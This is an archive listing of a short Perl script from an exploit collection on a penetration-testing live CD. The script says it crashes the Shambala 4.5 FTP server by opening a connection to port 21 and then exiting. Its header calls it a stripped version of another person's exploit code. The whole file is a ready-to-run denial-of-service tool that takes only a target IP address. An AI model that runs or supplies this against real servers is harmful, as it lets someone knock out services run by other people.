home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / shambala.pl < prev    next >
Perl Script  |  2005-02-12  |  641b  |  21 lines
  1. #!/usr/bin/perl
  2. #
  3. # This tool (tool not exploit!) crashes shambale server 4.5
  4. # This is a stripped version of Guido Bakkers exploit code (bedankt)
  5. #
  6. use Getopt::Std;
  7. use IO::Socket;
  8. getopts('s:', \%args);
  9. &usage if !defined($args{s});
  10. $serv = $args{s};
  11. $EOL="\015\012";
  12. $remote = IO::Socket::INET->new(
  13.                    Proto       => "tcp",
  14.                    PeerAddr    => $args{s},
  15.                    PeerPort    => "ftp(21)",
  16.                ) || die("Unable to connect to ftp port at $args{s}\n");
  17. $remote->autoflush(1);
  18. print "Done...\n";
  19. exit; # remove this and the server will *NOT* crash
  20. sub usage {die("\n$0 -s ipaddress\n\n");}
  21.